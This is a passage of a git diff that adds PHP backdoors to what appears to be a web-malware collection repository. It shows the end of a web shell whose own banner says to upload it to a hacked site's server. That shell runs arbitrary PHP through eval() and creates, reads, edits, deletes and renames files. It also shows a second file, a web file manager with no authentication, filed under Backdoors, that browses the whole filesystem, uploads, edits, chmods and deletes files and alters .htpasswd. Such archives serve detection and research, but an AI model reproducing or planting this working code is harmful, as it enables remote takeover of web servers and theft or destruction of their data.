'.$REQUEST_METHOD.'</b><br>'; +echo 'HTTP Protocol Version:<b> '.$SERVER_PROTOCOL.'</b><br>'; +echo 'HTTP Heading Accept:<b> '.$HTTP_ACCEPT.'</b><br>'; +echo 'HTTP User Agent:<b> '.$HTTP_USER_AGENT.'</b><br>'; +echo 'HTTP Accept Charset:<b> '.$HTTP_ACCEPT_CHARSET.'</b><br>'; +echo 'HTTP Accept Encodingt:<b> '.$HTTP_ACCEPT_ENCODING.'</b><br>'; +echo 'HTTP Accept Language:<b> '.$HTTP_ACCEPT_LANGUAGE.'</b><br>'; +echo 'HTTP Heading Connection Protocol:<b> '.$HTTP_CONNECTION.'</b><br>'; +echo 'HTTP Heading Host Protocol:<b> '.$HTTP_HOST.'</b>'; +echo '<br><br>#########################<br><br>'; +echo 'Phpinfo();<br><br>'; +echo '<iframe src="?action=phpinfo" height="400" width="800"></iframe>'; +} else if ($action == "phpinfo") { +phpinfo(); +} else if ($action == "php") { +echo '<br><br>#########################<br><br>'; +echo 'Enter php code to execute:<br><br>'; +echo '<form method="POST" action="?action=phpgo">'; +echo '<textarea name="cmd" cols="50" rows="10"></textarea><br>'; +echo '<input type="submit" value="Execute"></form>'; +} else if ($action == "phpgo") { +echo '<br><br>#########################<br><br>'; +$cmd = stripslashes($cmd); +echo 'The php code <b>'.$cmd.'</b> as been executed.<br>'; +echo 'The server with answered this your request:<br><br>'; +eval($cmd); +} else if ($action == "files") { +echo '<br><br>#########################<br><br>'; +echo 'Create a new file:<br><br>'; +echo '<form method="POST" action="?action=filenew">'; +echo 'File name: <input type="text" name="nfile" size="30" value="you-file.txt"> '; +echo '<input type="submit" value="Create"></form>'; +echo '<br><br>#########################<br><br>'; +echo 'Delete a file:<br><br>'; +echo '<form method="POST" action="?action=filedel">'; +echo 'File name: <input type="text" name="nfile" size="30" value="you-file.txt"> '; +echo '<input type="submit" value="Delete"></form>'; +echo '<br><br>#########################<br><br>'; +echo 'Modify a file:<br><br>'; +echo '<form method="POST" action="?action=filemod">'; +echo 'File name: <input type="text" name="nfile" size="30" value="you-file.txt"> '; +echo '<input type="submit" value="Modify"></form>'; +echo '<br><br>#########################<br><br>'; +echo 'Read a file:<br><br>'; +echo '<form method="POST" action="?action=fileread">'; +echo 'File name: <input type="text" name="nfile" size="30" value="you-file.txt"> '; +echo '<input type="submit" value="Read"></form>'; +echo '<br><br>#########################<br><br>'; +echo 'Rename a file:<br><br>'; +echo '<form method="POST" action="?action=filename">'; +echo 'File name: <input type="text" name="nfile" size="30" value="you-file.txt"><br> '; +echo 'New name: <input type="text" name="newfile" size="30" value="you-new-file.txt"> '; +echo '<input type="submit" value="Rename"></form>'; +} else if ($action == "filenew") { +echo '<br><br>#########################<br><br>'; +echo 'Your file <b> '.$nfile.' </b> was created susellify<br><br>'; +$index=fopen($nfile,'a'); +fwrite($index,''); +fclose($index); +} else if ($action == "filedel") { +echo '<br><br>#########################<br><br>'; +echo 'Your file <b> '.$nfile.' </b> was deleted susellify<br><br>'; +unlink($nfile); +} else if ($action == "filemod") { +echo '<br><br>#########################<br><br>'; +echo 'Modifing <b> '.$nfile.' </b>:<br><br>'; +echo '<form method="POST" action="?action=filemodgo&nfile='.$nfile.'">'; +$index = fopen($nfile, "r"); +$ct = fread($index, filesize($nfile)); +$ct = htmlentities ($ct, ENT_QUOTES); +$ct = nl2br($ct); +echo '<textarea name="newctt" cols="50" rows="10">'.$ct.'</textarea><br>'; +echo '<input type="submit" value="Save modification"></form>'; +} else if ($action == "filemodgo") { +echo '<br><br>#########################<br><br>'; +echo 'You files <b> '.$nfile.' </b> as modified sucellify<br><br>'; +$index = fopen($nfile, "w"); +fwrite($index, stripslashes($newctt)); +} else if ($action == "fileread") { +echo '<br><br>#########################<br><br>'; +echo 'Reading <b> '.$nfile.' </b> ...<br><br>'; +$index = fopen($nfile, "r"); +$ct = fread($index, filesize($nfile)); +$ct = htmlentities ($ct, ENT_QUOTES); +$ct = nl2br($ct); +echo $ct; +} else if ($action == "filename") { +copy($nfile, $newfile); +unlink($nfile); +} +else { +echo '<br><br>################################<br><br>'; +echo 'Php Backdoor v 1.0 by ^Jerem<br><br>'; +echo '################################<br><br>'; +echo 'This backdoor coded in php allows<br>'; +echo 'allows to control a web serv ...<br>'; +echo 'For use this script upload this<br>'; +echo 'on the ftp server of the hacked<br>'; +echo 'web site. Enjoy ^^<br><br>'; +echo '################################<br><br>'; +echo 'Author: ^Jerem<br>'; +echo 'Mail: jerem@x-perience.org<br>'; +echo 'Web: http://www.x-perience.org<br>'; +} + + +echo '</font></body>'; +echo '</html>'; + +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Private-i3lue.php b/web-malware-collection-master/Backdoors/PHP/Private-i3lue.php new file mode 100755 index 0000000..93abbae --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Private-i3lue.php @@ -0,0 +1,1456 @@ +<?php +/* + * webadmin.php - a simple Web-based file manager + * Copyright (C) 2002 Daniel Wacker <mail@wacker-welt.de> + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + * +/* ------------------------------------------------------------------------- */ + +/* Select your language: + * 'en' - English + * 'de' - German + * 'cz' - Czech + * 'it' - Italian + */ +$language = 'en'; + +/* This directory is shown when you start webadmin.php. + * For example: './' would be the current directory. + */ +$homedir = './'; + +/* This sets the root directory of the treeview. + * Set it to '/' to see the whole filesystem. + */ +$treeroot = '/'; + +/* When you create a directory, its permission is set to this octal value. + * For example: 0705 would be 'drwx---r-x'. + */ +$dirpermission = 0705; + +/* Uncomment the following line to enable this feature (remove #): + * When you create a file, its permission is set to this octal value. + * For example: 0644 would be 'drwxr--r--'. + */ +# $newfilepermission = 0666; + +/* Uncomment the following line to enable this feature (remove #): + * When you upload a file, its permission is set to this octal value. + * For example: 0644 would be 'drwxr--r--'. + */ +# $uploadedfilepermission = 0666; + +/* The size of the file edit textarea + */ +$editrows = 20; +$editcols = 70; + +/* ------------------------------------------------------------------------- */ + +$self = htmlentities(basename($_SERVER['PHP_SELF'])); +$homedir = relpathtoabspath($homedir, getcwd()); +$treeroot = relpathtoabspath($treeroot, getcwd()); +$words = getwords($language); + +/* If PHP added any slashes, strip them */ +if (ini_get('magic_quotes_gpc')) { + array_walk($_GET, 'strip'); + array_walk($_POST, 'strip'); + array_walk($_REQUEST, 'strip'); +} + +/* Return Images */ +if (isset($_GET['imageid'])) { + header('Content-Type: image/gif'); + echo(getimage($_GET['imageid'])); + exit; +} + +/* Initialize session */ +ini_set('session.use_cookies', FALSE); +ini_set('session.use_trans_sid', FALSE); +session_name('id'); +session_start(); + +/* Initialize dirlisting output */ +$error = $notice = ''; +$updatetreeview = FALSE; + +/* Handle treeview requests */ +if (isset($_REQUEST['action'])) { + switch ($_REQUEST['action']) { + case 'treeon': + $_SESSION['tree'] = array(); + $_SESSION['hassubdirs'][$treeroot] = tree_hassubdirs($treeroot); + tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $treeroot); + frameset(); + exit; + case 'treeoff': + $_SESSION['tree'] = NULL; + $_SESSION['hassubdirs'] = NULL; + dirlisting(); + exit; + } +} + +/* Set current directory */ +if (!isset($_SESSION['dir'])) { + $_SESSION['dir'] = $homedir; + $updatetreeview = TRUE; +} +if (!empty($_REQUEST['dir'])) { + $newdir = relpathtoabspath($_REQUEST['dir'], $_SESSION['dir']); + /* If the requested directory is a file, show the file */ + if (@is_file($newdir) && @is_readable($newdir)) { + /* if (@is_writable($newdir)) { + $_REQUEST['edit'] = $newdir; + } else */ if (is_script($newdir)) { + $_GET['showh'] = $newdir; + } else { + $_GET['show'] = $newdir; + } + } elseif ($_SESSION['dir'] != $newdir) { + $_SESSION['dir'] = $newdir; + $updatetreeview = TRUE; + } +} + +/* Show a file */ +if (!empty($_GET['show'])) { + $show = relpathtoabspath($_GET['show'], $_SESSION['dir']); + if (!show($show)) { + $error= buildphrase('&quot;<b>' . htmlentities($show) . '</b>&quot;', $words['cantbeshown']); + } else { + exit; + } +} + +/* Show a file syntax highlighted */ +if (!empty($_GET['showh'])) { + $showh = relpathtoabspath($_GET['showh'], $_SESSION['dir']); + if (!show_highlight($showh)) { + $error = buildphrase('&quot;<b>' . htmlentities($showh) . '</b>&quot;', $words['cantbeshown']); + } else { + exit; + } +} + +/* Upload file */ +if (isset($_FILES['upload'])) { + $file = relpathtoabspath($_FILES['upload']['name'], $_SESSION['dir']); + if (@is_writable($_SESSION['dir']) && @move_uploaded_file($_FILES['upload']['tmp_name'], $file) && (!isset($uploadedfilepermission) || chmod($file, $uploadedfilepermission))) { + $notice = buildphrase(array('&quot;<b>' . htmlentities(basename($file)) . '</b>&quot;', '&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot;'), $words['uploaded']); + } else { + $error = buildphrase(array('&quot;<b>' . htmlentities(basename($file)) . '</b>&quot;', '&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot;'), $words['notuploaded']); + } +} + +/* Create file */ +if (!empty($_GET['create']) && $_GET['type'] == 'file') { + $file = relpathtoabspath($_GET['create'], $_SESSION['dir']); + if (substr($file, strlen($file) - 1, 1) == '/') $file = substr($file, 0, strlen($file) - 1); + if (is_free($file) && touch($file) && ((!isset($newfilepermission)) || chmod($file, $newfilepermission))) { + $notice = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['created']); + $_REQUEST['edit'] = $file; + } else { + $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['notcreated']); + } +} + +/* Create directory */ +if (!empty($_GET['create']) && $_GET['type'] == 'dir') { + $file = relpathtoabspath($_GET['create'], $_SESSION['dir']); + if (is_free($file) && @mkdir($file, $dirpermission)) { + $notice = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['created']); + $updatetreeview = TRUE; + if (!empty($_SESSION['tree'])) { + $file = spath(dirname($file)); + $_SESSION['hassubdirs'][$file] = TRUE; + tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $file); + } + } else { + $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['notcreated']); + } +} + +/* Ask symlink target */ +if (!empty($_GET['symlinktarget']) && empty($_GET['symlink'])) { + $symlinktarget = relpathtoabspath($_GET['symlinktarget'], $_SESSION['dir']); + html_header($words['createsymlink']); +?> + <form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <input type="hidden" name="symlinktarget" value="<?php echo(htmlentities($_GET['symlinktarget'])); ?>"> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td colspan="2" bgcolor="#EEEEEE"> + <table border="0"> + <tr> + <td valign="top"><?php echo($words['target']); ?>:&nbsp;</td> + <td> + <b><?php echo(htmlentities($_GET['symlinktarget'])); ?></b><br> + <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked> + <label for="checkbox_relative"><?php echo($words['reltarget']); ?></label> + </td> + </tr> + <tr> + <td><?php echo($words['symlink']); ?>:&nbsp;</td> + <td><input type="text" name="symlink" value="<?php echo(htmlentities(spath(dirname($symlinktarget)))); ?>" size="<?php $size = strlen($_GET['symlinktarget']) + 9; if ($size < 30) $size = 30; echo($size); ?>"></td> + </tr> + <tr> + <td>&nbsp;</td> + <td><input type="submit" value="<?php echo($words['create']); ?>"></td> + </tr> + </table> + </td> + </tr> + </table> + </td></tr></table> + </form> +<?php + html_footer(); + exit; +} + +/* Create symlink */ +if (!empty($_GET['symlink']) && !empty($_GET['symlinktarget'])) { + $symlink = relpathtoabspath($_GET['symlink'], $_SESSION['dir']); + $target = $_GET['symlinktarget']; + if (@is_dir($symlink)) $symlink = spath($symlink) . basename($target); + if ($symlink == $target) { + $error = buildphrase(array('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', '&quot;<b>' . htmlentities($target) . '</b>&quot;'), $words['samefiles']); + } else { + if (@$_GET['relative'] == 'yes') { + $target = abspathtorelpath(dirname($symlink), $target); + } else { + $target = $_GET['symlinktarget']; + } + if (is_free($symlink) && @symlink($target, $symlink)) { + $notice = buildphrase('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', $words['created']); + } else { + $error = buildphrase('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', $words['notcreated']); + } + } +} + +/* Delete file */ +if (!empty($_GET['delete'])) { + $delete = relpathtoabspath($_GET['delete'], $_SESSION['dir']); + if (@$_GET['sure'] == 'TRUE') { + if (remove($delete)) { + $notice = buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['deleted']); + } else { + $error = buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['notdeleted']); + } + } else { + html_header($words['delete']); +?> + <p> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td colspan="2" bgcolor="#FFFFFF"><?php echo(buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['suredelete'])); ?></td> + </tr> + <tr> + <td colspan="2" align="center" bgcolor="#EEEEEE"> + <a href="<?php echo("$self?" . SID . '&delete=' . urlencode($delete) . '&sure=TRUE'); ?>">[ <?php echo($words['yes']); ?> ]</a> + </td> + </tr> + </table> + </td></tr></table> + </p> +<?php + html_footer(); + exit; + } +} + +/* Change permission */ +if (!empty($_GET['permission'])) { + $permission = relpathtoabspath($_GET['permission'], $_SESSION['dir']); + if ($p = @fileperms($permission)) { + if (!empty($_GET['set'])) { + $p = 0; + if (isset($_GET['ur'])) $p |= 0400; if (isset($_GET['uw'])) $p |= 0200; if (isset($_GET['ux'])) $p |= 0100; + if (isset($_GET['gr'])) $p |= 0040; if (isset($_GET['gw'])) $p |= 0020; if (isset($_GET['gx'])) $p |= 0010; + if (isset($_GET['or'])) $p |= 0004; if (isset($_GET['ow'])) $p |= 0002; if (isset($_GET['ox'])) $p |= 0001; + if (@chmod($_GET['permission'], $p)) { + $notice = buildphrase(array('&quot<b>' . htmlentities($permission) . '</b>&quot;', '&quot;<b>' . substr(octtostr("0$p"), 1) . '</b>&quot; (<b>' . decoct($p) . '</b>)'), $words['permsset']); + } else { + $error = buildphrase('&quot;<b>' . htmlentities($permission) . '</b>&quot;', $words['permsnotset']); + } + } else { + html_header($words['permission']); +?> + <form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td bgcolor="#EEEEEE" colspan="2"> + <table> + <tr> + <td><?php echo($words['file']); ?>:</td> + <td><input type="text" name="permission" value="<?php echo(htmlentities($permission)); ?>" size="<?php echo(textfieldsize($permission)); ?>"></td> + <td><input type="submit" value="<?php echo($words['change']); ?>"></td> + </tr> + <tr> + <td valign="top"> + <?php echo($words['permission']); ?>:&nbsp; + </form><form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <input type="hidden" name="permission" value="<?php echo(htmlentities($permission)); ?>"> + <input type="hidden" name="set" value="TRUE"> + </td> + <td colspan="2"> + <table border="0"> + <tr> + <td>&nbsp;</td> + <td><?php echo($words['owner']); ?></td> + <td><?php echo($words['group']); ?></td> + <td><?php echo($words['other']); ?></td> + </tr> + <tr> + <td><?php echo($words['read']); ?>:</td> + <td align="center"><input type="checkbox" name="ur" value="1"<?php if ($p & 00400) echo(' checked'); ?>></td> + <td align="center"><input type="checkbox" name="gr" value="1"<?php if ($p & 00040) echo(' checked'); ?>></td> + <td align="center"><input type="checkbox" name="or" value="1"<?php if ($p & 00004) echo(' checked'); ?>></td> + </tr> + <tr> + <td><?php echo($words['write']); ?>:</td> + <td align="center"><input type="checkbox" name="uw" value="1"<?php if ($p & 00200) echo(' checked'); ?>></td> + <td align="center"><input type="checkbox" name="gw" value="1"<?php if ($p & 00020) echo(' checked'); ?>></td> + <td align="center"><input type="checkbox" name="ow" value="1"<?php if ($p & 00002) echo(' checked'); ?>></td> + </tr> + <tr> + <td><?php echo($words['exec']); ?>:</td> + <td align="center"><input type="checkbox" name="ux" value="1"<?php if ($p & 00100) echo(' checked'); ?>></td> + <td align="center"><input type="checkbox" name="gx" value="1"<?php if ($p & 00010) echo(' checked'); ?>></td> + <td align="center"><input type="checkbox" name="ox" value="1"<?php if ($p & 00001) echo(' checked'); ?>></td> + </tr> + </table> + </td> + </tr> + <tr> + <td>&nbsp;</td> + <td colspan="2"><input type="submit" value="<?php echo($words['setperms']); ?>"></td> + </tr> + </table> + </td> + </tr> + </table> + </td></tr></table> + </form> +<?php + html_footer(); + exit; + } + } else { + $error = buildphrase('&quot;<b>' . htmlentities($permission) . '</b>&quot;', $words['permsnotset']); + } +} + +/* Move file */ +if (!empty($_GET['move'])) { + $move = relpathtoabspath($_GET['move'], $_SESSION['dir']); + if (!empty($_GET['destination'])) { + $destination = relpathtoabspath($_GET['destination'], dirname($move)); + if (@is_dir($destination)) $destination = spath($destination) . basename($move); + if ($move == $destination) { + $error = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['samefiles']); + } else { + if (is_free($destination) && @rename($move, $destination)) { + $notice = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['moved']); + } else { + $error = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['notmoved']); + } + } + } else { + html_header($words['move']); +?> + <form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <input type="hidden" name="move" value="<?php echo(htmlentities($move)); ?>"> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td colspan="2" bgcolor="#EEEEEE"> + <table border="0"> + <tr> + <td><?php echo($words['file']); ?>:&nbsp;</td> + <td><b><?php echo(htmlentities($move)); ?></b></td> + </tr> + <tr> + <td><?php echo($words['moveto']); ?>:&nbsp;</td> + <td><input type="text" name="destination" value="<?php echo(htmlentities(spath(dirname($move)))); ?>" size="<?php echo(textfieldsize($move)); ?>"></td> + </tr> + <tr> + <td>&nbsp;</td> + <td><input type="submit" value="<?php echo($words['move']); ?>"></td> + </tr> + </table> + </td> + </tr> + </table> + </td></tr></table> + </form> +<?php + html_footer(); + exit; + } +} + +/* Copy file */ +if (!empty($_GET['cpy'])) { + $copy = relpathtoabspath($_GET['cpy'], $_SESSION['dir']); + if (!empty($_GET['destination'])) { + $destination = relpathtoabspath($_GET['destination'], dirname($copy)); + if (@is_dir($destination)) $destination = spath($destination) . basename($copy); + if ($copy == $destination) { + $error = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['samefiles']); + } else { + if (is_free($destination) && @copy($copy, $destination)) { + $notice = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['copied']); + } else { + $error = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['notcopied']); + } + } + } else { + html_header($words['copy']); +?> + <form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <input type="hidden" name="cpy" value="<?php echo(htmlentities($copy)); ?>"> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td colspan="2" bgcolor="#EEEEEE"> + <table border="0"> + <tr> + <td><?php echo($words['file']); ?>:&nbsp;</td> + <td><b><?php echo(htmlentities($copy)); ?></b></td> + </tr> + <tr> + <td><?php echo($words['copyto']); ?>:&nbsp;</td> + <td><input type="text" name="destination" value="<?php echo(htmlentities(spath(dirname($copy)))); ?>" size="<?php echo(textfieldsize($copy)); ?>"></td> + </tr> + <tr> + <td>&nbsp;</td> + <td><input type="submit" value="<?php echo($words['copy']); ?>"></td> + </tr> + </table> + </td> + </tr> + </table> + </td></tr></table> + </form> +<?php + html_footer(); + exit; + } +} + +/* Save edited file */ +if (!empty($_POST['edit']) && isset($_POST['save'])) { + $edit = relpathtoabspath($_POST['edit'], $_SESSION['dir']); + if ($f = @fopen($edit, 'w')) { + /* write file without carriage returns */ + fwrite($f, str_replace("\r\n", "\n", $_POST['content'])); + fclose($f); + $notice = buildphrase('&quot;<b>' . htmlentities($edit) . '</b>&quot;', $words['saved']); + } else { + $error = buildphrase('&quot;<b>' . htmlentities($edit) . '</b>&quot;', $words['notsaved']); + } +} + +/* Edit file */ +if (isset($_REQUEST['edit']) && !isset($_POST['save'])) { + $file = relpathtoabspath($_REQUEST['edit'], $_SESSION['dir']); + if (@is_dir($file)) { + /* If the requested file is a directory, show the directory */ + $_SESSION['dir'] = $file; + $updatetreeview = TRUE; + } else { + if ($f = @fopen($file, 'r')) { + html_header($words['edit']); +?> + <form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td bgcolor="#EEEEEE" colspan="2"> + <table border="0" cellspacing="0" cellpadding="0"> + <tr> + <td><?php echo($words['file']); ?>:&nbsp;</td> + <td><input type="text" name="edit" value="<?php echo(htmlentities($file)); ?>" size="<?php echo(textfieldsize($file)); ?>">&nbsp;</td> + <td><input type="submit" value="<?php echo($words['change']); ?>"></td> + </tr> + </table> + </td> + </tr> + </table> + </td></tr></table> + </form> + <form action="<?php echo($self); ?>" method="post" name="f"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <input type="hidden" name="edit" value="<?php echo(htmlentities($file)); ?>"> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEFF" align="center"><textarea name="content" rows="<?php echo($editrows); ?>" cols="<?php echo($editcols); ?>" wrap="off" style="background: #EEEEFF; border: none;"><?php + if (isset($_POST['content'])) { + echo(htmlentities($_POST['content'])); + if (isset($_POST['add']) && !empty($_POST['username']) && !empty($_POST['password'])) { + echo("\n" . htmlentities($_POST['username'] . ':' . crypt($_POST['password']))); + } + } else { + echo(htmlentities(fread($f, filesize($file)))); + } + fclose($f); +?></textarea></td> + </tr> +<?php if (basename($file) == '.htpasswd') { /* specials with .htpasswd */ ?> + <tr> + <td bgcolor="#EEEEEE" align="center"> + <table border="0"> + <tr> + <td><?php echo($words['username']); ?>:&nbsp;</td> + <td><input type="text" name="username" size="15">&nbsp;</td> + <td><?php echo($words['password']); ?>:&nbsp;</td> + <td><input type="password" name="password" size="15">&nbsp;</td> + <td><input type="submit" name="add" value="<?php echo($words['add']); ?>"></td> + </tr> + </table> + </td> + </tr> +<?php } if (basename($file) == '.htaccess') { /* specials with .htaccess */ ?> + <tr> + <td bgcolor="#EEEEEE" align="center"><input type="button" value="<?php echo($words['addauth']); ?>" + </tr> +<?php } ?> + <tr> + <td bgcolor="#EEEEEE" align="center"> + <input type="button" value="<?php echo($words['reset']); ?>" + <input type="button" value="<?php echo($words['clear']); ?>" '')"> + <input type="submit" name="save" value="<?php echo($words['save']); ?>"> + </td> + </tr> + </table> + </td></tr></table> + </form> +<?php + html_footer(); + exit; + } else { + $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot; ', $words['notopened']); + } + } +} + +/* Show directory listing (and treeview) */ +if (!empty($_SESSION['tree'])) { + if (isset($_REQUEST['frame']) && $_REQUEST['frame'] == 'treeview') { + treeview(); + } else { + if (isset($_GET['noupdate'])) $updatetreeview = FALSE; + dirlisting(TRUE); + } +} else { + dirlisting(); +} + +/* ------------------------------------------------------------------------- */ + +function strip (&$str) { + $str = stripslashes($str); +} + +function relpathtoabspath ($file, $dir) { + $dir = spath($dir); + if (substr($file, 0, 1) != '/') $file = $dir . $file; + if (!@is_link($file) && ($r = realpath($file)) != FALSE) $file = $r; + if (@is_dir($file) && !@is_link($file)) $file = spath($file); + return $file; +} + +function abspathtorelpath ($pos, $target) { + $pos = spath($pos); + $path = ''; + while ($pos != $target) { + if ($pos == substr($target, 0, strlen($pos))) { + $path .= substr($target, strlen($pos)); + break; + } else { + $path .= '../'; + $pos = strrev(strstr(strrev(substr($pos, 0, strlen($pos) - 1)), '/')); + } + } + return $path; +} + +function is_script ($file) { + return ereg('.php[3-4]?$', $file); +} + +function spath ($path) { + if (substr($path, strlen($path) - 1, 1) != '/') $path .= '/'; + return $path; +} + +function textfieldsize ($str) { + $size = strlen($str) + 5; + if ($size < 30) $size = 30; + return $size; +} + +function is_free ($file) { + global $words; + if (@file_exists($file) && empty($_GET['overwrite'])) { + html_header($words['alreadyexists']); +?> + <p> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td colspan="2" bgcolor="#FFFFFF"><?php echo(buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['overwrite'])); ?></td> + </tr> + <tr> + <td colspan="2" align="center" bgcolor="#EEEEEE"> + <a href="<?php echo("{$_SERVER['REQUEST_URI']}&overwrite=yes"); ?>">[ <?php echo($words['yes']); ?> ]</a> + </td> + </tr> + </table> + </td></tr></table> + </p> +<?php + html_footer(); + exit; + } + if (!empty($_GET['overwrite'])) { + return remove($file); + } + return TRUE; +} + +function remove ($file) { + global $updatetreeview; + if (@is_dir($file) && !@is_link($file)) { + $error = FALSE; + if ($p = @opendir($file = spath($file))) { + while (($f = readdir($p)) !== FALSE) + if ($f != '.' && $f != '..' && !remove($file . $f)) + $error = TRUE; + } + if ($error) $x = FALSE; else $x = @rmdir($file); + $updatetreeview = TRUE; + if ($x && !empty($_SESSION['tree'])) { + $file = spath(dirname($file)); + $_SESSION['hassubdirs'][$file] = tree_hassubdirs($file); + tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $file, TRUE); + } + } else { + $x = @unlink($file); + } + return $x; +} + +function getwords ($language) { + switch ($language) { + case 'de': + $words['dir'] = 'Verzeichnis'; $words['file'] = 'Datei'; + $words['filename'] = 'Dateiname'; $words['size'] = 'Gr&ouml;&szlig;e'; $words['permission'] = 'Rechte'; $words['functions'] = 'Funktionen'; + $words['owner'] = 'Eigner'; $words['group'] = 'Gruppe'; $words['other'] = 'Andere'; + $words['create'] = 'erstellen'; $words['copy'] = 'kopieren'; $words['copyto'] = 'kopieren nach'; $words['move'] = 'verschieben'; $words['moveto'] = 'verschieben nach'; $words['delete'] = 'l&ouml;schen'; $words['edit'] = 'editieren'; + $words['read'] = 'lesen'; $words['write'] = 'schreiben'; $words['exec'] = 'ausf&uuml;hren'; $words['change'] = 'wechseln'; $words['upload'] = 'hochladen'; $words['configure'] = 'konfigurieren'; + $words['yes'] = 'ja'; $words['no'] = 'nein'; + $words['back'] = 'zur&uuml;ck'; $words['setperms'] = 'Rechte setzen'; + $words['readingerror'] = 'Fehler beim Lesen von 1'; + $words['permsset'] = 'Die Rechte von 1 wurden auf 2 gesetzt.'; $words['permsnotset'] = 'Die Rechte von 1 konnten nicht gesetzt werden.'; + 